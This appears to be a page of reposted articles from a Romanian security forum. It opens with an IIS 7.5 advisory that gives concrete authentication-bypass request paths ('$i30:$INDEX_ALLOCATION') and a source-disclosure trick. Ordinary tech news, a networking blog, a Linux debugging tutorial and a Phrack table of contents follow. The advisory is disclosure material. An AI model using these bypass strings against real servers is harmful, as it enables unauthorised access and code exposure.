Software: Microsoft IIS 7.5 with configured Classic ASP and .NET Framework 4.0 installed (.NET Framework 2.0 is unaffected, other .NET frameworks have not been tested) (tested on Windows 7) Details: By appending ":$i30:$INDEX_ALLOCATION" to the directory serving the classic ASP file access restrictions can be successfully bypassed. Take this Example: 1.) Microsoft IIS 7.5 has Classic ASP configured (it allows serving .asp files) 2.) There is a password protected directory configured that has administrative asp scripts inside 3.) An attacker requests the directory with :$i30:$INDEX_ALLOCATION appended to the directory name 4.) IIS/7.5 gracefully executes the ASP script without asking for proper credentials ------------------------------------------------------------------------------------------------------------------------------------------------------------ Title: Microsoft IIS 7.5 .NET source code disclosure and authentication bypass Affected Software: Microsoft IIS/7.5 with PHP installed in a special configuration (Tested with .NET 2.0 and .NET 4.0) (tested on Windows 7) The special configuration requires the "Path Type" of PHP to be set to "Unspecified" in the Handler Mappings of IIS/7.5 Details: The authentication bypass is the same as the previous vulnerabilities: Requesting for example http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php will run the PHP script without asking for proper credentials. By appending /.php to an ASPX file (or any other file using the .NET framework that is not blocked through the request filtering rules, like misconfigured: .CS,.VB files) IIS/7.5 responds with the full source code of the file and executes it as PHP code. This means that by using an upload feature it might be possible (under special circumstances) to execute arbitrary PHP code. Example: Default.aspx/.php Cheerio and signed, /Kingcope Sursa: Microsoft IIS 6.0 and 7.5 Multiple Vulnerabilities

"Version 3.0 of MorphOS has been released. It's the independent PPC OS designed for outdated Apple systems like G4 PowerBooks (5,6; 5,7; 5,8; or 5,9) and eMacs (1.25 GHz/1.42 GHz) and PPC Mac Minis, and some G4 PowerMac models (depends on graphics hardware). It further runs on discontinued and niche Genesi desktop systems (Pegasos) and the stunted 128-megabyte-of-RAM tiny Efika. MorphOS is a nice-looking, low-resource, and nimble OS that can't match the capabilities of current Windows, Mac, and Linux. Its installation/live CD is free without caveat, and runs for 30 minutes at a time, as many times as you like. You may purchase MorphOS to remove the time limit. A particular weakness of MorphOS is its lack of support for wireless networking." Sursa: MorphOS 3.0 Released: Refusing To Let the PPC Desktop OS Die Gracefully - Slashdot Pagina oficiala: http://www.morphos.de/ MorphOS is a lightweight, highly efficient and flexible media-centric operating system. If you are new to MorphOS and would like to learn more about it, please visit this page.

Hackers Jailed for £26.9 Million Credit Card Fraud Cei vechi, care stiti de h4cky0u, cititi... By: Bianca Dima | comment : | June 07, 2012 Two “one-stop shop” hackers were sentenced in the UK for credit card fraud totalling more than £26.9 million. According to Serious Organised Crime Agency officers, the actual loss is likely to be a lot more. The two cyber criminals provided various services to bank fraudsters and were sentenced to almost 3, and, respectively, 2 years in prison. Under the moniker of ‘t0pp8uzz’, Jay Moore set up the ‘Freshshop’ website to facilitate the bulk sale of stolen financial data. He recruited Damian Horne, known as ‘GM’, on an underground forum. The two men started breaking the law by selling stolen iTunes vouchers and other online gaming codes on eBay. “Within a short space of time the two escalated their criminal enterprise to sell compromised credit card data and launder the proceeds of their criminality through a network of bank accounts, online financial institutions and overseas money exchangers,” SOCA representatives said in a press release. Though he had no formal qualifications, Moore used his IT knowledge to hack into computers and obtain payment card databases. He then made them available through his website, designed to look and operate like a common retail site. The hacker also made money out of commissions he received from other fraudsters who sold compromised data on his website. Last year, in a raid at his parents’ house, Police found a safe with over £80,700 in cash, a fresh out of the assembly line BMW car and personalized registration plate which alone was valued at over £10,000. “Such was Moore’s wealth that he also provided some £40,000 to help his father buy a substantial farm house, and attributed his earnings to a fake web design business created purely to hide his criminal activity,” Police said. In the attacks, more than 340,000 people had their personal information stolen. In addition to the £26.9 million fraud, the data breach could lead to fake bank accounts and to cheque or identity fraud. Sursa: Hackers Jailed for £26.9 Million Credit Card Fraud | HOTforSecurity

Probabil eu, daca o sa dau de PingLord, daca am cu ce. Teoretic am, dar nu sunt 100% sigur.

[h=3]Source IP address selection on a Multi-Homed Windows Computer[/h]MichaelPlatts [msft] 24 Apr 2009 4:59 PM Aka "Cum se selecteaza IP/NIC" cand se trimite un pachet in retea. There is often confusion about how a computer chooses which adapter to use when sending traffic. This blog describes the process by which a network adapter is chosen for an outbound connection on a multiple-homed computer, and how a local source IP address is chosen for that connection. [h=3]What is Source IP address selection?[/h] Source IP address selection is the process by which the stack chooses an IP address. Windows XP and Windows Server 2003 are based on the weak host model. When a Windows Sockets program binds to a socket, one of the parameters that is passed in the bind() call is the local (source) IP address that should be used for outbound packets. Most programs do not have any knowledge of network topology, so they specify IPADDR_ANY instead of a specific IP address in their bind() call. IPADDR_ANY tells the stack that the program is going to let the stack choose the best local IP address to use; [h=4]Windows XP behavior[/h] KB175396 - Windows Socket Connection from a Multiple-Homed Computer The TCP/IP component of all Microsoft Windows operating systems prior to Windows Vista is based on a Weak Host model. This model gives program developers the greatest amount of leeway when they design programs that use the network and are compatible with Microsoft products. This model also puts the responsibility of the behavior of the networking program on the developers, because the developers specify how the program accesses the TCP/IP stack and responds to incoming and outgoing frames. On a computer that has one network adapter, the IP address that is chosen is the Primary IP address of the network adaptor in the computer. However, on a multiple-homed computer, the stack must first make a choice. The stack cannot make an intelligent choice until it knows the target IP address for the connection. When the program sends a connect() call to a target IP address, or sends a send() call to a UDP datagram, the stack references the target IP address, and then examines the IP route table so that it can choose the best network adapter over which to send the packet. After this network adapter has been chosen, the stack reads the Primary IP address associated with that network adapter and uses that IP address as the source IP address for the outbound packets. Example: Source supplied in the call: IPADDR_ANY Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.1.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:192.168.1.10 The chosen source NIC: Nic 1 If the program specifies a source IP address to use in the bind() call, that IP address is used as the source IP address for connections sourced from that socket. However, the route table is still used to route the outbound IP datagrams, based on the target IP address. As a result of this behavior, the source IP address may not be the one associated with the network adapter that is chosen to send the packets. Example: Source supplied in the call:10.0.0.10 Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.1.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:10.0.0.10 The chosen source Nic: Nic 1 <- Note this is not the Nic the source IP is on. [h=3]Summary[/h] If a source IP is not given the Primary IP address of the adapter with a route that most closely matches the target IP address is used to source the packet and the adapter that the Primary IP is associated with is used as the source adapter. If the source IP is specified the adapter that is used to send the packet is the one with a route that most closely matches the target IP address and this may not be the adapter that is associated with the source IP. [h=4]Windows Vista/Windows Server 2008 behavior[/h] Windows Vista and later are based on the strong host model. In the strong host model, the host can only send packets on an interface if the interface is assigned the source IP address of the packet being sent. Also the concept of a primary IP address does not exist. Similar to XP when if a program doesn't specify a source IP, the stack references the target IP address, and then examines the entire IP route table so that it can choose the best network adapter over which to send the packet. After the network adapter has been chosen, the stack uses the address selection process defined in RFC 3484 and uses that IP address as the source IP address for the outbound packets. Example: Source supplied in the call: IPADDR_ANY Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.2.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:192.168.1.11 The chosen source NIC: Nic 1 If the program specifies a source IP address, that IP address is used as the source IP address for connections sourced from that socket and the adapter associated with that source IP is used as the source interface. The route table is searched but only for routes that can be reached from that source interface. Example: Source supplied in the call:10.0.0.10 Target IP:192.168.1.5 Route Table: Nic 1 - 192.168.1.10/32 Nic 1 - 192.168.1.11/32 Nic 2 - 10.0.0.10/32 Nic 2 - 10.0.0.11/32 The chosen source IP:10.0.0.10 The chosen source Nic: Nic 2 <- Note this is the Nic the source IP is on. Note: the packet would be sent to the default gateway associated with Nic 2. [h=4]RFC 3484 and Source IP address selection[/h] The last thing I want to talk about is RFC 3484. Even though RFC 3484 says it only applies to IPV6 in Windows implementations IPV4 does follow the same rules when possible. Windows Source IP V4 address selection: Rule 1 Prefer same address (applies) Rule 2 Prefer appropriate scope (applies) Rule 3 Avoid deprecated addresses (applies) Rule 4 - Prefer home addresses - does not apply to IP v4 Rule 5 Prefer outgoing Interfaces (applies) Rule 6 Prefer matching label - does not apply to IP v4 Rule 7 Prefer public addresses - does not apply to IP v4 Rule 8a: Use longest matching prefix with the next hop IP address. (not in RFC!) "If CommonPrefixLen(SA, D) > CommonPrefixLen(SB, D), then prefer SA. Similarly, if CommonPrefixLen(SB, D) > CommonPrefixLen(SA, D), then prefer SB. " This says that the IP with the most high order bits that match the destination of the next hop will be used. Note: Rule 8 - Use longest matching Prefix is similar to rule 8a except the match is with the destination IP address rather than the next hop IP address. For example, consider the following addresses: Client machine IP Address 192.168.1.14 /24 192.168.1.68 /24 Default Gateway 192.168.1.127 The server will use the 192.168.1.68 address because it has the longest matching prefix. To see this more clearly, consider the IP addresses in binary: 11000000 10101000 00000001 00001110 = 192.168.1.14 (Bits matching the gateway = 25) 11000000 10101000 00000001 01000100 = 192.168.1.68 (Bits matching the gateway = 26) 11000000 10101000 00000001 01111111 = 192.168.1.127 The 192.168.1.68 address has more matching high order bits with the gateway address 192.168.1.127. Therefore, it is used for off-link communication. [h=3]SkipAsSource[/h] There is a new twist in the source IP selection process. Note: There are two variants of the below mentioned hotfix; one for Windows Vista / Windows Server 2008 and one for Windows 7 / Windows Server 2008 R2. 975808 All IP addresses are registered on the DNS servers when the IP addresses are assigned to one network adapter on a computer that is running Windows Server 2008 SP2 or Windows Vista SP2 2386184 IP addresses are still registered on the DNS servers even if the IP addresses are not used for outgoing traffic on a computer that is running Windows 7 or Windows Server 2008 R2 After you install the hotfix discussed above, you can create IP version 4 (IPv4) addresses or IP version 6 (IPv6) addresses by using the netsh command together with the new "skipassource" flag. By using this flag, the added new addresses are not used for outgoing packets unless explicitly set for use by outgoing packets. Note: This command only works when adding an address you can’t apply it to an address already on the machine. You would need to remove it and add it again. [h=3]Additional Information[/h] Default Address Selection for Internet Protocol version 6 (IPv6) For more information about Strong and Weak Host Models, see the following Cable Guy article: The Cable Guy: Strong and Weak Host Models The gethostbyname function has been deprecated. We recommend that you use the getaddrinfo function instead. However, we still cannot guarantee that primary IP address will be returned first. For more information about the gethostbyname function, visit the following Microsoft Web site: gethostbyname function (Windows) For more information about the getaddrinfo function, visit the following Microsoft Web site: http://msdn2.microsoft.com/en-us/library/ms738520(VS.85).aspx - David Pracht Sursa: Source IP address selection on a Multi-Homed Windows Computer - Microsoft Enterprise Networking Team - Site Home - TechNet Blogs

Windows 7.

Linux system debugging super tutorial Updated: June 1, 2012 In the last two years, I have introduced you to a number of so-called super-duper system administration tools. We learned how to properly analyze a range of problems by carefully studying symptoms and then isolating and fixing the root cause. We learned about strace and lsof, both immensely powerful tools. We focused on system profiling and auditing. We also worshiped the omnipotent GNU Debugger (gdb). Now it is time to combine the powers of all these into one mega tutorial. Today, we will use all of these tools, plus the slew of tips and tricks listed in my hacking guides, all three of them, to try to resolve a seemingly impossible problem. We will attack the issue from several angles, each time using a different tool, each time exposing a new facet of the phenomenon until we resolve it like champs. This is not going to be easy, but it will probably be the best, most comprehensive and most unique all-purpose system administration debugging guide you have read in a long while, if not ever. Did I say ever? [h=2]The problem we have[/h] All right, let's assume that the startup of applications is slow. You wait 5-10 seconds for application windows to launch. Sometimes it works fast, but you're not really sure why. Usually, the problems occur after you log out of your session or following a reboot. The most annoying thing is that if you try to fire up those same programs with sudo or as root, there are no startup delays and all seems to run fine. So how do you debug a problem like this one? [h=2]Rules![/h] If you want to be an awesome system debugger, then there are several would-be rules you must follow whenever you are trying to resolve a difficult problem. If it's something trivial you can fix in two minutes, fine, but if this is a brand new issue that has stumped you and your colleagues for more than an hour, then you should pause, rethink and be methodical about it. [h=3]Be methodical[/h] Having a formulaic approach may portray you as a noob - or a very efficient man. You choose. You should have a strategy that is uniform, generic and all-encompassing for every problem that may come up. This means that you will be able to handle the situation whether you're fixing airplanes or hacking the kernel. [h=3]Always begin with simple tools[/h] In theory, you can try to fix any problem with gdb right away, but that's not a smart use of either the tools at hand or your intellect and time. You should always begin with simple things. Check the system logs for weird errors. Check top to assess the basic system health. Make sure you're not out of memory. Examine the disk and CPU load. [h=3]Comparison to a healthy system[/h] This may not always be applicable, but if you have a machine with an identical hardware and software configuration that does not exhibit the same problems, or two workload scenarios that produce different results, then you should compare between them to try to find what might be causing the bad system or the component to misbehave. This may not always be easy, but component search is the most powerful tool in statistical engineering and it applies well for mechanical parts as well as software. Now, we're ready to dig in. [h=2]Symptoms[/h] Our healthy system fires up xclock, our sample graphical tool, in less than a second. The bad system does the same, except it takes 10 times longer. So we know something is slowed down but not necessarily broken. [h=2]Strace[/h] At this stage, running strace seems like a good idea. Rather than tracing every system call through endless logs, we will only do the summary run, specified with -c flag. We want to see if there's anything significant in the tool's run. [h=3]Strace log, good system[/h] Let's see what strace gives us: [h=3]Strace log, bad system[/h] The same thing for the misbehaving case: [h=3]Strace comparison[/h] I've placed the two summaries side by side. The font may be a little small, but it's identical to what you've see above. We can see that there's a significant difference in the behavior of the two cases. On the good system, the top four system calls are read, mprotect, open, and fstat. We get system calls in the range of several tens to several hundreds, with some errors, probably stemming from seeking files in the $PATH. Another important element is the execution time, which takes ~1-2 milliseconds for each of the four system calls. On the bad system, the top hitters are open, munmap, mmap, and stat. Moreover, we have system calls in the range of thousands, approx. 10-20x times more than previously. We also have a huge number of open errors. The execution time is in the range of 8-12 miliseconds, which is approx. 10 times longer than before. So we know something is wrong, but we don't know what exactly. [h=2]Ltrace[/h] We will now use ltrace and perhaps discover something else. System calls shows a marked difference in the behavior, but we do not know what is causing the problem. Maybe we will be able to determine the issue by looking at libraries, which is exactly what ltrace does. Again, we will execute the tool with -c flag, to see the summary. [h=3]Ltrace log, good system[/h] A whole new plate of information. The most significant library function is the creation of the xclock widget, which takes 20 milliseconds and almost 40% of the total execution time. Second on the list is the XftFontOpenName. [h=3]Ltrace log, bad system[/h] Here, we see something else. The XftFontOpenName is the leading function with a total of 18 seconds of execution time. Then, we have the creation of the widget, with no less impressive 16 seconds. After that, nothing else matters. [h=3]Ltrace comparison[/h] We can clearly see that there's something wrong with fonts, it seems. On the good system, the relevant library call took a fraction of the same, while on the bad system, it lasted almost 20 seconds. Now, if we cross-reference the strace logs with these two, we start to get a clearer picture. The long duration of the function responsible for creating the widget definitely explain the slowness we experience. Moreover, it aligns nicely with the huge number of system calls and errors on the bad system. We now have a clue. [h=2]Additional analysis - with vmstat[/h] Some people could decide they already have enough information - something seems to be wrong with fonts. But let's say you are still not 100% convinced and you want to learn more. Let's try using vmstat. [h=3]Good system[/h] vmstat provides useful information on the memory and CPU usage. We have discussed the tool in the past, so I will not be repeating myself. Today, the fields of interests are CPU metrics in the last five columns, specifically the two labeled us and sy, as well as the cs and in fields under system. The us and sy labels indicate the percentage of CPU usage by user and system, respectively. The cs and in labels refers to context switches and interrupts. The first metric tells us roughly how often the running process had to relinquish its place in the runqueue in favor of another waiting process. In other words, there was a context switch from one process to another. Interrupts indicates the number of times the running process had to access the underlying hardware, for example access the disk to read data from the filesystem, poll the screen or the keyboard, etc. Let's see what happens when we launch the xclock program. Ignore the first line, as it display the average values since the last uptime. We can see that there's a brief spike of user CPU, also reflected in the high number of interrupts and context switches. xclock is launched by the time the fourth line is displayed. [h=3]Bad system[/h] Here, the situation is a little different. We can see a significant increase in user CPU for almost 5-7 seconds. However, there's less context switches than before and many more interrupts. What does this mean? We can see that the launching of xclock, which is an interactive application and should be therefore treated as an interactive process, is behaving like a computational (batch) process. For interactive processes, we want as much responsiveness as possible, which means lots of context switches and little CPU activity so that we get dynamic priority from the scheduler and spend as little time thinking, giving control to the user. However, in our case, the process does fewer context switches than before and uses a lot more CPU, which is typical behavior for batch processes. This means there's some thinking going on. What is happening is that our system is reading fonts and creating the cache while we're waiting for xclock. This also explains the increase in IO activity and some wa CPU values, as we have to do this operation against the local filesystem. Now, it is important to emphasize that this kind of analysis is meaningless if you do not know how your process is supposed to behave and what it's supposed to do. However, if you have an inkling of an idea, then even a boring list of numbers as output by vmstat could provide you with a wealth of information. [h=2]Problem resolution[/h] I believe we have sufficient information to solve this. Something is wrong with fonts. The fact applications take so long to start probably indicates the font cache is being rebuilt every time, which in turn indicates the programs started by user cannot read the system font cache. This would also explain why sudo and root are not affected. Now, I know I'm being smart in retrospect, after this problem was identified and debugged and the tutorial written at leisure with cocky style and smartness. But the thing is, all the pieces are there. The application is slow. Strace logs indicate open errors. We could now run a full strace session and learn the exact paths of these errors. We would use -e flag against open system call, to reduce verbosity, and we would increase the string length using -s flag so we could see all of the information about failing paths. We would learn about fonts not being readable by the user. But we do not need to do that. We cross-reference our information with ltrace, which points out the problem to be in the opening of fonts. This library call blocks the creation of the widget, which is why the applications appear to be slow in launching. vmstat runs provide additional information, which help narrow down the issue further. And if we check the system font cache, located under /var/cache/fontconfig, we learn that fonts are created with 600 permissions, i.e. they are only readable by root. If we change the values to 644, we resolve the problem and all our applications start quickly. We also save disk space, as we do not require each user to create its own copy of fonts in their own home directory. [h=2]lsof comes to rescue[/h] Now, I will briefly demonstrate another problem. This one is completely different from the previous example. Moreover, in this case strace and ltrace are completely useless, because the process is stuck in a D state. We do not really know what might be wrong, but all of the tools above are of no help. Enter lsof. OK, let's assume you have some Java process that is stuck and not responding. Now, Java is always ugly and comes with hideous exception traces, but we must debug the issue and the conventional tools do not provide any useful information. In fact, this is what you see with strace: futex(0x562d0be8, FUTEX_WAIT, 18119, NULL But if you check the same process with lsof, you get something like this: java 11511 user 32u ipv4 1920022313 TCP rogerbox:44332->rogerbox:22122 (SYN_SENT) Ta-dam. We can see our Java is using two IPv4 ports to communicate internally. It has sent a packet from one port to another, initiating a TCP connection. This is indicated by the SYN_SENT state, the first sequence in the three-point TCP handshake. For some reason, the server, listening on port 22122, is not responding. At this stage, you may want to check why the packet is not being rejected or accepted by the server. Do we have a routing problem? On a local machine, this probably does not apply, but maybe the destination is somewhere else? Do we have a firewall problem? Can you connect to the relevant machine and port using telnet? At this point, you still do not have all the tools to fix the issue, but you are fully aware of what is causing Java to misbehave. For all practical purposes, the problem is solved. [h=2]Conclusion[/h] I told you you will like this tutorial, and if you do not, then I have utterly failed you as a human being. But I think this article has it all - rational thinking, methodical approach to problem solving, multi-dimensional use of system debugging tools to create a clear picture of the issue, including comparing system calls and library functions between a good and a bad system, use of vmstat to understand the computational behavior of processes, and more. As a bonus, we also learn about lsof usefulness for network-related stuff. From now on, your system administration will never be the same. Seemingly complex problems will become simple, if you stick to the discipline of sorting out the basic checklist first, then slowly advancing to intermediate and advance tools and methods. If you ever get stuck, you can always refer to my hacking guides, which detail some 30+ utilities and scripts that should help you in your journey into the heart of the system. Well, that would be all. More goodness coming soon. Cheers. Sursa: Linux system debugging super tutorial

IPv6 – Google

[h=1]VIDEO Romania se afla pe primul loc in lume in topul tarilor cu cea mai mare rata de adoptare a noului protocol de internet IPv6 in iunie 2012, sustine RCS&RDS[/h]de Adrian Vasilache HotNews.ro Miercuri, 6 iunie 2012, 17:51 Economie | Telecom Fiecare terminal cu care ne conectam la internet are o adresa IP (o secventa de numere), iar actualul protocol cu care functioneaza internetul, IPv4, a pus la dispozitie circa 4 miliarde de adrese, numar care este aproape de epuizare in conditiile exploziei numarului de terminale si de servicii web. Dupa ce a fost testat anul trecut, un nou protocol, IPv6, care permite alocarea unui numar aproape nelimitat de adrese, a fost lansat la nivel mondial miercuri, 6 iunie. Romania se afla pe primul loc in lume in topul tarilor cu cea mai mare rata de adoptare a IPv6, la inceputul lunii iunie din acest an (7,75%), urmata de Franta, Japonia, China si SUA, a anuntat miercuri operatorul de comunicatii prin cablu RCS&RDS. Datele au fost prezentate miercuri de Emanuel Popa, manager IP Design in cadrul RCS&RDS, la evenimentul local de lansare a IPv6, organizat de catre Internet Society Romania, ANISP si ICI. Sursa datelor o reprezinta masuratorile Google si APNIC, in perioada 1-6 iunie 2012. Citeste si: Zi istorica pentru viitorul internet-ului - Se lanseaza oficial noul protocol IPv6 La data de 3 februarie 2011, a fost o zi istorica pentru Internet. A fost ziua in care IANA (Internet Assigned Numbers Authority) a distribuit ultimul bloc de adrese IP versiunea 4 (IPv4) catre Registrele Regionale de Internet (RIR), conform Internet Society Romania. "Exista o autoritate globala care se cheama IANA care aloca resurse catre autoritatile regionale de pe fiecare continent si exista 5 autoritati regionale in Asia/Pacific, Europa, America de Nord, America de Sud si Africa. Pe 3 februarie 2011 IANA a ramas fara adrese IP. Cand au mai ramas doar 5 subneturi/8, conform politicii IANA, fiecare autoritate continentala a primit cate un subnet/8. Ulterior autoritatea din Asia/Pacific a epuizat si ea adresele IPv4 si anume in aprilie 2011. Probabil ca epuizarea adreselor IPv4 la nivelul autoritatilor regionale se va intampla probabil la nivelul anilor 2014-2015", a declarat miercuri Emanuel Popa, manager RCS&RDS. Popa, RCS&RDS: In Europa nu stam chiar atat de prost in privinta adreselor IPv4 care au mai ramas disponibile Operatorul de comunicatii prin cablu a pornit testarea IPv6 in octombrie 2011, fiind prima companie telecom locala si din regiune care a inceput implementarea acestui protocol. In acest moment, 19,57% dintre clientii de internet ai RCS&RDS prefera IPv6 in accesarea internetului, rata de adoptare a protocolului in cadrul retelei companiei fiind de 2,5 ori mai mare fata de rata de adoptare a Romaniei (7,75%) si de 28 de ori mai mare fata de media la nivel mondial (0,7%), sustine operatorul. "Am reusit ca la sfarsitul lunii aprilie sa obtinem o alocare noua din partea autoritatii din Europa (RIPE) - un subnet/14. Cat inseamna? Aproximativ 250.000 de adrese IPv4. Cam cat timp ne-ar ajunge noua acest spatiu de adresare? Sa zicem ca ne-ar asigura o crestere cu 30% a numarului de clienti. Asta inseamna foarte mult. O asftel de crestere probabil ca necesarul de IP-uri ar fi suficient pentru urmatorii 2-3 ani. (...) Adresele IPv4 sunt alocate dinamic. RIPE inca mai are libere doua blocuri de adrese 'slash 8' printre care si acela care a fost alocat de IANA la inceputul lui 2011. Deci in Europa nu stam chiar atat de prost", a spus Emanuel Popa. Cum pot fi afectati utilizatorii finali de tranzitia la IPv6? Conform Internet Society Romania, "in urmatoarele cateva luni, nu veti remarca nici o diferenta. Majoritatea sistemelor de operare suporta deja tehnologia IPv6, chiar si Mac OS X 10.2 si Windows XP SP1. Totusi, multe routere si servere web nu se pot conecta in IPv6, facand imposibila conectarea intre un terminal adresat in IPv6 si un server sau router IPv4". Organizatia sutine insa ca daca industria nu face tranzitia la IPv6, aplicatiile web vor raspunde mai greu, conexiunea intre terminale va dura mai mult si conectarea prin programe ca Skype va fi mai dificila si datele de conectare vor putea fi compromise din cauza divizarii adreselor. Sursa: VIDEO Romania se afla pe primul loc in lume in topul tarilor cu cea mai mare rata de adoptare a noului protocol de internet IPv6 in iunie 2012, sustine RCS&RDS - Telecom - HotNews.ro

Pacat... Insa imi place abordarea

TOR Virtual Network Tunneling Tool 0.2.2.36 Authored by Roger Dingledine | Site tor.eff.org Tor is a network of virtual tunnels that allows people and groups to improve their privacy and security on the Internet. It also enables software developers to create new communication tools with built-in privacy features. It provides the foundation for a range of applications that allow organizations and individuals to share information over public networks without compromising their privacy. Individuals can use it to keep remote Websites from tracking them and their family members. They can also use it to connect to resources such as news sites or instant messaging services that are blocked by their local Internet service providers (ISPs). Changes: This release updates the addresses for two of the eight directory authorities, fixes some potential anonymity and security issues, and fixes several crash bugs. Tor 0.2.1.x has reached its end-of-life. Those Tor versions have many known flaws, and nobody should be using them. You should upgrade. If you're using a Linux or BSD distribution and its packages are obsolete, stop using those packages and upgrade anyway. Download: http://packetstormsecurity.org/files/download/113352/tor-0.2.2.36.tar.gz

Phrack magazine #68 (14/04/2012) Current issue : #[URL="http://www.phrack.com/archives/tgz/phrack68.tar.gz"]68[/URL] | Release date : 14/04/2012 | Editor : The Phrack Staff [TABLE] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=1#article"]Introduction[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=The+Phrack+Staff#author"]The Phrack Staff[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=2#article"]Phrack Prophile on FX[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=The+Phrack+Staff#author"]The Phrack Staff[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=3#article"]Phrack World News[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=TCLH#author"]TCLH[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=4#article"]Linenoise[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=various#author"]various[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=5#article"]Loopback[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=The+Phrack+Staff#author"]The Phrack Staff[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=6#article"]Android Kernel Rootkit[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=dong-hoon+you#author"]dong-hoon you[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=7#article"]Happy Hacking[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=*********+author#author"]********* author[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=8#article"]Practical cracking of white-box implementations[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=sysk#author"]sysk[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=9#article"]Single Process Parasite[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=Crossbower#author"]Crossbower[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=10#article"]Pseudomonarchia jemallocum[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=argp+%26+huku#author"]argp & huku[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=11#article"]Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=styx%5E#author"]styx^[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=12#article"]The Art of Exploitation: MS IIS 7.5 Remote Heap Overflow[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=redpantz#author"]redpantz[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=13#article"]The Art of Exploitation: Exploiting VLC, a jemalloc case study[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=huku+%26+argp#author"]huku & argp[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=14#article"]Secure Function Evaluation vs. Deniability in OTR and similar protocols[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=greg#author"]greg[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=15#article"]Similarities for Fun and Profit[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=Pouik+%26+G0rfi3ld#author"]Pouik & G0rfi3ld[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=16#article"]Lines in the Sand: Which Side Are You On in the Hacker Class War[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=*********+author#author"]********* author[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=17#article"]Abusing Netlogon to steal an Active Directory's secrets[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=the+p1ckp0ck3t#author"]the p1ckp0ck3t[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=18#article"]25 Years of SummerCon[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=Shmeck#author"]Shmeck[/URL][/TD] [/TR] [TR] [TD][URL="http://www.phrack.com/issues.html?issue=68&id=19#article"]International Scenes[/URL][/TD] [TD][URL="http://www.phrack.com/authors.html?author=various#author"]various[/URL][/TD] [/TR] [/TABLE] Sursa: .:: Phrack Magazine ::.